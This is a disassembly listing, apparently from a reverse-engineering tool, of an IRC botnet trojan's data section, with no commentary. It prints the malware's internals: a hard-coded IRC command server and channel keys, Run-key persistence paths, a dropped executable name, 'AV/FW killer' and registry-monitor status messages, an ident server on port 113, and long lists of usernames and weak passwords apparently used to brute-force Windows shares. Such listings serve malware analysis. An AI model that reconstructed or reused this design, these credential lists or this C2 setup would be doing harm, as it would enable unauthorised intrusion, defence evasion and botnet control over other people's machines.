		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
		dd 5 dup(0)
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_406EDE:loc_4072A0o
		align 10h
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_406EDE+3BBo
		align 10h
		dd 0
aSS_1		db '%s%s/',0            ; DATA XREF: sub_406EDE+374o
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406EDE+330o
					; sub_406EDE+486o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
		dd 2 dup(0)
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_406EDE+30Eo
		align 10h
		dd 0
aS_1		db '<%s>',0             ; DATA XREF: sub_406EDE+2E4o
					; sub_406EDE+413o
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_406EDE+2BAo
		dd 2 dup(0)
aAm		db 'AM',0               ; DATA XREF: sub_406EDE+290o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_406EDE+285o
		align 4
a__0:					; DATA XREF: sub_406EDE+24Do
					; .text:004114D6o
		unicode	0, <.>,0
a__		db '..',0               ; DATA XREF: sub_406EDE+232o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406EDE+1C0o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
		dd 4 dup(0)
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406EDE+147o
		align 10h
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406EDE+12Bo
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
		dd 2 dup(0)
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406EDE+F7o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
		dd 7 dup(0)
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_406EDE+ADo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 10h
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_406EDE+78o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 10h
		dd 3 dup(0)
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406EDE+4Bo
		dd 2 dup(0)
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: .text:004078B4o
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
		dd 3 dup(0)
unk_42C868	db    2			; DATA XREF: .text:00407AFCo
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 64h
		db  65h	; e
		db 6Eh,	74h, 1Fh
		db  64h	; d
		db 1Fh,	20h, 2Dh
		db  20h
		db 2, 5Dh, 2
aErrorServerF_0	db '   Error: server failed, returned: <%d>.',0
		align 4
		dd 3 dup(0)
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: .text:00407AA1o
		align 10h
unk_42C8D0	db    2			; DATA XREF: .text:00407A49o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 64h
		db  65h	; e
		db 6Eh,	74h, 1Fh
		db  64h	; d
		db 1Fh,	20h, 2Dh
		db  20h
		db 2, 5Dh, 2
aClientConnecti	db '   Client connection from IP: %s:%d.',0
		align 4
		dd 3 dup(0)
dword_42C918	dd 1F44h		; DATA XREF: sub_407BA3+581r
					; sub_407BA3+634r
dword_42C91C	dd 1F44h		; DATA XREF: sub_407BA3+680r
dword_42C920	dd 2B2h			; DATA XREF: sub_403661+3Br
					; sub_4087B3+3D20r
dword_42C924	dd 320h			; DATA XREF: sub_403661:loc_403910r
					; sub_4087B3:loc_40C5C5r
dword_42C928	dd 7			; DATA XREF: sub_41220B+2Br
					; sub_41220B+51r ...
dword_42C92C	dd 5			; DATA XREF: sub_40841B+78r
					; sub_4087B3+27Cr ...
dword_42C930	dd 1			; DATA XREF: sub_4087B3+662r
dword_42C934	dd 1			; DATA XREF: sub_407BA3+13Dr
dword_42C938	dd 1			; DATA XREF: sub_407BA3:loc_407EE4r
					; sub_40FF61+Cr
a2009		db '2009',0
		align 4
aAdmin		db 'admin',0
		align 4
aAdmin_0	db 'admin',0
byte_42C952	db 2Eh			; DATA XREF: sub_40537B:loc_405387r
					; sub_4087B3+6CDr ...
		align 4
dword_42C954	dd 3158h		; DATA XREF: sub_407BA3+5Do
					; sub_4087B3+2C4Do ...
aXPsy		db 'X Psy',0            ; DATA XREF: sub_4087B3:loc_40CEEBo
		align 10h
aAscl33t	db 'ascl33t',0          ; DATA XREF: sub_4087B3+48C4o
					; sub_4087B3+4993o
aS1_ascnet_biz	db 's1.ascnet.biz',0    ; DATA XREF: sub_407BA3+56Do
					; sub_407BA3+625o
		align 4
asc_42C978	db '##x',0              ; DATA XREF: sub_407BA3+58Do
					; sub_407BA3+63Bo
aG1g		db 'g1g',0              ; DATA XREF: sub_407BA3+5A4o
					; sub_407BA3+64Do
aGig		db '##gig##',0          ; DATA XREF: sub_407BA3+687o
aKeyzzz		db 'keyzzz',0           ; DATA XREF: sub_407BA3+699o
		align 10h
aBedf_exe	db 'bedf.exe',0         ; DATA XREF: sub_402413+3Eo
					; sub_402B90+81o ...
		align 4
aSys_txt	db 'sys.txt',0
aJava		db 'Java',0             ; DATA XREF: sub_404954+Eo
		align 4
aAwk		db 'awk-',0             ; DATA XREF: sub_41220B+12o
		align 4
aGetwaylayer_ex	db 'GetWayLayer.exe',0
aXRi		db '-x+Ri',0            ; DATA XREF: sub_4087B3+4A0Co
		align 4
aAwk1		db '##awk1',0           ; DATA XREF: sub_4087B3:loc_40AB01o
					; sub_4087B3+3B78o ...
		align 4
aAwk1_0		db '##awk1',0
		align 4
aAwk1_1		db '##awk1',0
		align 4
off_42C9E4	dd offset aX@asc_gov	; DATA XREF: sub_4087B3:loc_40D0D3o
					; "x@asc.gov"
off_42C9E8	dd offset aEggdropV1_6_17 ; DATA XREF: sub_4087B3+846r
					; sub_4087B3+493Co
					; "eggdrop v1.6.17"
		dd offset aEggdropV1_6_16 ; "eggdrop v1.6.16"
		dd offset aEggdropV1_6_15 ; "eggdrop v1.6.15"
		dd offset aEggdropV1_6_14 ; "eggdrop v1.6.14"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
aSoftwareMicr_1	db 'Software\Microsoft\Windows\CurrentVersion\RunServices',0
		align 10h
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_412976+28o
					; sub_412D63+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_412976+D4o
					; sub_412D63+D4o
		align 10h
		dd offset byte_4370BC
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin_1	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		dd offset aLinux	; "linux"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		align 8
		dd offset byte_4370BC
		dd offset aAdmin_1	; "admin"
		dd offset aAdmin_2	; "ADMIN"
		dd offset aAdmin_3	; "Admin"
		dd offset aAdmin123	; "admin123"
		dd offset aAdministrado_0 ; "Administrador"
		dd offset aAdministrate_0 ; "Administrateur"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aGuest_0	; "guest"
		dd offset aGuest	; "Guest"
		dd offset aDefault	; "default"
		dd offset aDefault_0	; "DEFAULT"
		dd offset aDefault_1	; "Default"
		dd offset aLocal	; "LOCAL"
		dd offset aRootpassword	; "rootpassword"
		dd offset aPassword	; "PASSWORD"
		dd offset aPassword_0	; "Password"
		dd offset aSystem	; "system"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aUser_1	; "user"
		dd offset aUser		; "USER"
		dd offset aUser_2	; "User"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aAdmin_2	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser		; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aServer_1	; "SERVER"
		dd offset aLocal	; "LOCAL"
		dd offset asc_42CE88	; "%"
		dd offset aPass_0	; "pass"
		dd offset aPasswd	; "passwd"
		dd offset aDatabase	; "database"
		dd offset aAbcd		; "abcd"
		dd offset aAbc123	; "abc123"
		dd offset asc_42CE64	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset dword_42A180
		dd offset a00		; "00"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset a1		; "1"
		dd offset a111		; "111"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a123456	; "123456"
		dd offset a654321	; "654321"
		dd offset a@_0		; "!@#$"
		dd offset aAsdf		; "asdf"
		dd offset aAsdfgh	; "asdfgh"
		dd offset a@_1		; "!@#$%"
		dd offset a@_2		; "!@#$%^"
		dd offset a@_3		; "!@#$%^&"
		dd offset a@_4		; "!@#$%^&*"
		dd offset aGuest	; "Guest"
		dd offset aGast		; "Gast"
		dd offset aServer_2	; "server"
		dd offset aWindowsxp	; "WindowsXP"
		dd offset aDude		; "dude"
		dd offset aOwned	; "owned"
		dd offset dword_42CD6C
		align 10h
dword_42CCB0	dd 10h			; DATA XREF: sub_40448A+72w
					; sub_4087B3+731r ...
		dd 2Eh dup(0)
dword_42CD6C	dd 6C6F6Ch		; DATA XREF: .data:0042CCA8o
aOwned		db 'owned',0            ; DATA XREF: .data:0042CCA4o
		align 4
aDude		db 'dude',0             ; DATA XREF: .data:0042CCA0o
		align 10h
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: .data:0042CC9Co
		align 4
aServer_2	db 'server',0           ; DATA XREF: .data:0042CC98o
		align 4
aGast		db 'Gast',0             ; DATA XREF: .data:0042CC94o
		align 4
a@_4		db '!@#$%^&*',0         ; DATA XREF: .data:0042CC8Co
		align 4
a@_3		db '!@#$%^&',0          ; DATA XREF: .data:0042CC88o
		dd 0
a@_2		db '!@#$%^',0           ; DATA XREF: .data:0042CC84o
		align 4
a@_1		db '!@#$%',0            ; DATA XREF: .data:0042CC80o
		align 4
aAsdfgh		db 'asdfgh',0           ; DATA XREF: .data:0042CC7Co
		align 4
aAsdf		db 'asdf',0             ; DATA XREF: .data:0042CC78o
		align 4
a@_0		db '!@#$',0             ; DATA XREF: .data:0042CC74o
		align 4
a654321		db '654321',0           ; DATA XREF: .data:0042CC70o
		align 4
a123456		db '123456',0           ; DATA XREF: .data:0042CC6Co
		align 4
a1234		db '1234',0             ; DATA XREF: .data:0042CC68o
		align 4
a123		db '123',0              ; DATA XREF: .data:0042CC64o
a111		db '111',0              ; DATA XREF: .data:0042CC60o
a1:					; DATA XREF: .data:0042CC5Co
		unicode	0, <1>,0
a000000		db '000000',0           ; DATA XREF: .data:0042CC58o
		align 4
a00000		db '00000',0            ; DATA XREF: .data:0042CC54o
		align 10h
a0000		db '0000',0             ; DATA XREF: .data:0042CC50o
		align 4
a000		db '000',0              ; DATA XREF: .data:0042CC4Co
a00		db '00',0               ; DATA XREF: .data:0042CC48o
		align 10h
aXxxxxxxxx	db 'xxxxxxxxx',0        ; DATA XREF: .data:0042CC40o
		align 4
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: .data:0042CC3Co
		align 4
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: .data:0042CC38o
		dd 0
aXxxxxx		db 'xxxxxx',0           ; DATA XREF: .data:0042CC34o
		align 4
aXxxxx		db 'xxxxx',0            ; DATA XREF: .data:0042CC30o
		align 4
aXxxx		db 'xxxx',0             ; DATA XREF: .data:0042CC2Co
		align 4
aXxx		db 'xxx',0              ; DATA XREF: .data:0042CC28o
aXx		db 'xx',0               ; DATA XREF: .data:0042CC24o
		align 4
asc_42CE64:				; DATA XREF: .data:0042CC20o
		unicode	0, <x>,0
aAbc123		db 'abc123',0           ; DATA XREF: .data:0042CC1Co
		align 10h
aAbcd		db 'abcd',0             ; DATA XREF: .data:0042CC18o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: .data:0042CC10o
		align 10h
aPass_0		db 'pass',0             ; DATA XREF: .data:0042CC0Co
		align 4
asc_42CE88:				; DATA XREF: .data:0042CC08o
		unicode	0, <%>,0
aServer_1	db 'SERVER',0           ; DATA XREF: .data:0042CC00o
		align 4
aBackup		db 'BACKUP',0           ; DATA XREF: .data:0042CBF8o
		align 4
aAccess		db 'ACCESS',0           ; DATA XREF: .data:0042CBF0o
		align 4
aTest		db 'TEST',0             ; DATA XREF: .data:0042CBECo
		align 4
aDemo		db 'DEMO',0             ; DATA XREF: .data:0042CBE8o
		align 4
aFiles		db 'FILES',0            ; DATA XREF: .data:0042CBE4o
		align 4
aRead		db 'READ',0             ; DATA XREF: .data:0042CBE0o
		align 4
aBoth		db 'BOTH',0             ; DATA XREF: .data:0042CBDCo
		align 4
aFull_0		db 'FULL',0             ; DATA XREF: .data:0042CBD8o
		align 4
aWrite		db 'WRITE',0            ; DATA XREF: .data:0042CBD4o
		align 4
aShare_0	db 'SHARE',0            ; DATA XREF: .data:0042CBD0o
		align 4
aTemp		db 'TEMP',0             ; DATA XREF: .data:0042CBCCo
		align 4
aRoot_0		db 'ROOT',0             ; DATA XREF: .data:0042CBC0o
		align 4
aGuest_1	db 'GUEST',0            ; DATA XREF: .data:0042CBBCo
		align 4
aUser_2		db 'User',0             ; DATA XREF: sub_410B94:loc_410CA6o
					; .data:0042CBB8o
		align 4
aUser_1		db 'user',0             ; DATA XREF: sub_4087B3+1854o
					; .data:0042CBB0o
		align 4
aSystem_0	db 'SYSTEM',0           ; DATA XREF: .data:0042CBACo
					; .data:0042CBFCo
		align 4
aSystem		db 'system',0           ; DATA XREF: .data:0042CBA8o
		align 4
aPassword_0	db 'Password',0         ; DATA XREF: .data:0042CBA4o
		align 4
aPassword	db 'PASSWORD',0         ; DATA XREF: .data:0042CBA0o
					; .data:0042CBC8o
		align 4
aRootpassword	db 'rootpassword',0     ; DATA XREF: .data:0042CB9Co
		align 4
aLocal		db 'LOCAL',0            ; DATA XREF: .data:0042CB98o
					; .data:0042CC04o
		align 4
aDefault_1	db 'Default',0          ; DATA XREF: .data:0042CB94o
		align 8
aDefault_0	db 'DEFAULT',0          ; DATA XREF: .data:0042CB90o
		dd 0
aGuest		db 'Guest',0            ; DATA XREF: sub_410B94:loc_410CADo
					; .data:0042CB88o ...
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_410B94:loc_410C9Fo
					; .data:0042CB7Co
		align 4
aAdministrato_1	db 'ADMINISTRATOR',0    ; DATA XREF: .data:0042CB78o
		align 4
aAdministrate_0	db 'Administrateur',0   ; DATA XREF: .data:0042CB70o
		align 10h
aAdministrado_0	db 'Administrador',0    ; DATA XREF: .data:0042CB6Co
		align 10h
aAdmin123	db 'admin123',0         ; DATA XREF: .data:0042CB68o
		align 4
aAdmin_3	db 'Admin',0            ; DATA XREF: .data:0042CB64o
		align 4
aAdmin_2	db 'ADMIN',0            ; DATA XREF: .data:0042CB60o
					; .data:0042CBC4o
		align 4
aMary		db 'mary',0             ; DATA XREF: .data:0042CB50o
		align 4
aKatie		db 'katie',0            ; DATA XREF: .data:0042CB4Co
		align 4
aKate		db 'kate',0             ; DATA XREF: .data:0042CB44o
		align 4
aGeorge		db 'george',0           ; DATA XREF: .data:0042CB40o
		align 4
aEric		db 'eric',0             ; DATA XREF: .data:0042CB3Co
		align 4
aChris		db 'chris',0            ; DATA XREF: .data:0042CB38o
		align 4
aIan		db 'ian',0              ; DATA XREF: .data:0042CB34o
aNeil		db 'neil',0             ; DATA XREF: .data:0042CB30o
		align 4
aLee		db 'lee',0              ; DATA XREF: .data:0042CB2Co
aBrian		db 'brian',0            ; DATA XREF: .data:0042CB28o
		align 4
aSusan		db 'susan',0            ; DATA XREF: .data:0042CB20o
		align 4
aSue		db 'sue',0              ; DATA XREF: .data:0042CB1Co
aSam		db 'sam',0              ; DATA XREF: .data:0042CB18o
aLuke		db 'luke',0             ; DATA XREF: .data:0042CB14o
		align 4
aPeter		db 'peter',0            ; DATA XREF: .data:0042CB10o
					; .data:0042CB24o
		align 4
aJohn		db 'john',0             ; DATA XREF: .data:0042CB0Co
		align 4
aMike		db 'mike',0             ; DATA XREF: .data:0042CB08o
		align 4
aBill		db 'bill',0             ; DATA XREF: .data:0042CB04o
		align 4
aFred		db 'fred',0             ; DATA XREF: .data:0042CB00o
		align 4
aJoe		db 'joe',0              ; DATA XREF: .data:0042CAFCo
aJen		db 'jen',0              ; DATA XREF: .data:0042CAF8o
aBob		db 'bob',0              ; DATA XREF: .data:0042CAF4o
					; .data:0042CB48o
aLinux		db 'linux',0            ; DATA XREF: .data:0042CAF0o
		align 4
aDb2		db 'db2',0              ; DATA XREF: .data:0042CAECo
aOracle		db 'oracle',0           ; DATA XREF: .data:0042CAE8o
		align 4
aDba		db 'dba',0              ; DATA XREF: .data:0042CAE4o
aDatabase	db 'database',0         ; DATA XREF: .data:0042CAE0o
					; .data:0042CC14o
		align 4
aDefault	db 'default',0          ; DATA XREF: .data:0042CADCo
					; .data:0042CB8Co
		align 10h
aGuest_0	db 'guest',0            ; DATA XREF: .data:0042CAD8o
					; .data:0042CB84o
		align 4
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: .data:0042CAD4o
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: .data:0042CAD0o
		align 10h
aStudent	db 'student',0          ; DATA XREF: .data:0042CACCo
		dd 0
aOwner		db 'owner',0            ; DATA XREF: .data:0042CAC8o
		align 4
aComputer	db 'computer',0         ; DATA XREF: .data:0042CAC4o
		align 10h
aRoot		db 'root',0             ; DATA XREF: .data:0042CAC0o
		align 4
aStaff		db 'staff',0            ; DATA XREF: .data:0042CABCo
		align 10h
aAdmin_1	db 'admin',0            ; DATA XREF: .data:0042CAB8o
					; .data:0042CB5Co
		align 4
aAdmins		db 'admins',0           ; DATA XREF: .data:0042CAB4o
		align 10h
aAdministrat	db 'administrat',0      ; DATA XREF: .data:0042CAB0o
		align 10h
aAdministrateur	db 'administrateur',0   ; DATA XREF: .data:0042CAACo
		align 10h
		dd 0
aAdministrador	db 'administrador',0    ; DATA XREF: .data:0042CAA8o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: .data:0042CAA4o
					; .data:0042CB74o ...
		align 4
aEggdropV1_6_14	db 'eggdrop v1.6.14',0  ; DATA XREF: .data:0042C9F4o
		align 8
aEggdropV1_6_15	db 'eggdrop v1.6.15',0  ; DATA XREF: .data:0042C9F0o
		dd 0
aEggdropV1_6_16	db 'eggdrop v1.6.16',0  ; DATA XREF: .data:0042C9ECo
		align 10h
aEggdropV1_6_17	db 'eggdrop v1.6.17',0  ; DATA XREF: .data:off_42C9E8o
		dd 0
aX@asc_gov	db 'x@asc.gov',0        ; DATA XREF: .data:off_42C9E4o
		align 10h
unk_42D190	db    2			; DATA XREF: sub_407BA3+548o
					; sub_4087B3+165Co
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 64h
		db  65h	; e
		db 6Eh,	74h, 1Fh
		db  64h	; d
		db 1Fh,	20h, 2Dh
		db  20h
		db 2, 5Dh, 2
aFailedToStar_3	db '   Failed to start server, error: <%d>.',0
		align 10h
		dd 3 dup(0)
unk_42D1DC	db    2			; DATA XREF: sub_407BA3+4FDo
					; sub_4087B3+160Fo
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 64h
		db  65h	; e
		db 6Eh,	74h, 1Fh
		db  64h	; d
		db 1Fh,	20h, 2Dh
		db  20h
		db 2, 5Dh, 2
aServerRunningO	db '   Server running on Port: 113.',0
		align 4
		dd 2 dup(0)
unk_42D21C	db    2			; DATA XREF: sub_407BA3+4D0o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	73h, 65h
		db  63h	; c
		db 75h,	72h, 1Fh
		db  65h	; e
		db 1Fh,	20h, 2Dh
		db  20h
		db 2, 5Dh, 2
aFailedToStartR	db '   Failed to start registry thread, error: <%d>.',0
		align 10h
unk_42D270	db    2			; DATA XREF: sub_407BA3+47Do
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	73h, 65h
		db  63h	; c
		db 75h,	72h, 1Fh
		db  65h	; e
		db 1Fh,	20h, 2Dh
		db  20h
		db 2, 5Dh, 2
aRegistryMonito	db '   Registry monitor active.',0
		align 4
		dd 2 dup(0)
unk_42D2AC	db    2			; DATA XREF: sub_407BA3+45Do
					; sub_4087B3+4713o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	73h, 65h
		db  63h	; c
		db 75h,	72h, 1Fh
		db  65h	; e
		db 1Fh,	20h, 2Dh
		db  20h
		db 2, 5Dh, 2
aFailedToStar_4	db '   Failed to start secure thread, error: <%d>.',0
		dd 4 dup(0)
unk_42D300	db    2			; DATA XREF: sub_407BA3+410o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	73h, 65h
		db  63h	; c
		db 75h,	72h, 1Fh
		db  65h	; e
		db 1Fh,	20h, 2Dh
		db  20h
		db 2, 5Dh, 2
aSystemSecureMo	db '   System secure monitor active.',0
		align 10h
unk_42D340	db    2			; DATA XREF: sub_407BA3+3F0o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	70h, 72h
		db  6Fh	; o
		db 63h,	1Fh, 73h
		db  1Fh
		db 20h,	2Dh, 20h
		db    2
		db 5Dh,	2, 20h
aFailedToStartA	db '  Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
		dd 3 dup(0)
unk_42D398	db    2			; DATA XREF: sub_407BA3+39Fo
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	70h, 72h
		db  6Fh	; o
		db 63h,	1Fh, 73h
		db  1Fh
		db 20h,	2Dh, 20h
		db    2
		db 5Dh,	2, 20h
aAvFwKillerActi	db '  AV/FW Killer active.',0
		dd 2 dup(0)
dword_42D3CC	dd 20025B02h, 7269202Dh, 201F621Fh, 5D02202Dh, 20BB2002h
					; DATA XREF: sub_407BA3+364o
		dd 746F4220h, 61747320h, 64657472h, 2Eh, 0
aSDS		db '%s %d "%s"',0       ; DATA XREF: sub_407BA3+28Fo
		align 10h
		dd 0
aSS_2		db '%s\%s',0            ; DATA XREF: sub_407BA3+189o
		align 4
unk_42D40C	db    2			; DATA XREF: sub_40841B+F2o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 72h
		db  1Fh
		db 62h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aConnectedToS_	db '   Connected to %s.',0
		align 4
		dd 2 dup(0)
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_4085DD+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
		dd 0
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_4085DD+35o
		align 4
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4087B3+4A14o
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_4087B3+49FFo
		align 4
unk_42D488	db    2			; DATA XREF: sub_4087B3+49F2o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 72h
		db  1Fh
		db 62h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aUserSLoggedIn_	db '   User: %s logged in.',0
		align 4
		dd 2 dup(0)
unk_42D4BC	db    2			; DATA XREF: sub_4087B3+49D5o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 72h
		db  1Fh
		db 62h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aPasswordAccept	db '   Password accepted.',0
		dd 2 dup(0)
unk_42D4EC	db    2			; DATA XREF: sub_4087B3+4977o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 72h
		db  1Fh
		db 62h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aFailedHostAuth	db '   *Failed host auth by: (%s!%s).',0
		dd 3 dup(0)
unk_42D52C	db    2			; DATA XREF: sub_4087B3+4907o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 72h
		db  1Fh
		db 62h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aFailedPassAuth	db '   Failed pass auth by: (%s!%s).',0
		align 10h
		dd 3 dup(0)
aNoticeSFaile_0	db 'NOTICE %s :Failed.',0Dh,0Ah,0 ; DATA XREF: sub_4087B3+48F8o
					; sub_4087B3+4968o
		align 8
aNoticeSFailed_	db 'NOTICE %s :Failed. (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_4087B3+48E4o
					; sub_4087B3+4954o
		align 4
		dd 0
asc_42D5AC:				; DATA XREF: sub_4087B3+48B4o
		unicode	0, <~>,0
unk_42D5B0	db    2			; DATA XREF: sub_4087B3+4863o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 72h
		db  1Fh
		db 62h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aRandomNickChan	db '   Random nick change: %s',0
		dd 2 dup(0)
unk_42D5E4	db    2			; DATA XREF: sub_4087B3+47A9o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 72h
		db  1Fh
		db 62h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aInvalidLoginSl	db '   Invalid login slot number: %d.',0
		dd 3 dup(0)
unk_42D624	db    2			; DATA XREF: sub_4087B3+47A1o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 72h
		db  1Fh
		db 62h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aNoUserLoggedIn	db '   No user logged in at slot: %d.',0
		dd 3 dup(0)
dword_42D664	dd 20025B02h, 7269202Dh, 201F621Fh, 5D02202Dh, 20BB2002h
					; DATA XREF: sub_4087B3+473Do
		dd 732520h, 0
dword_42D680	dd 20025B02h, 6573202Dh, 1F727563h, 2D201F65h, 25D0220h
					; DATA XREF: sub_4087B3+469Do
		dd 2020BB20h, 73207325h, 65747379h, 2E6Dh, 2 dup(0)
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_4087B3+4697o
		align 4
		dd 0
aSecuring	db 'Securing',0         ; DATA XREF: sub_4087B3+4690o
		align 4
dword_42D6C8	dd 20025B02h, 7270202Dh, 631F636Fh, 202D201Fh, 20025D02h
					; DATA XREF: sub_4087B3+4619o
		dd 0BBh, 0
aProcessList	db 'Process list',0     ; DATA XREF: sub_4087B3+4614o
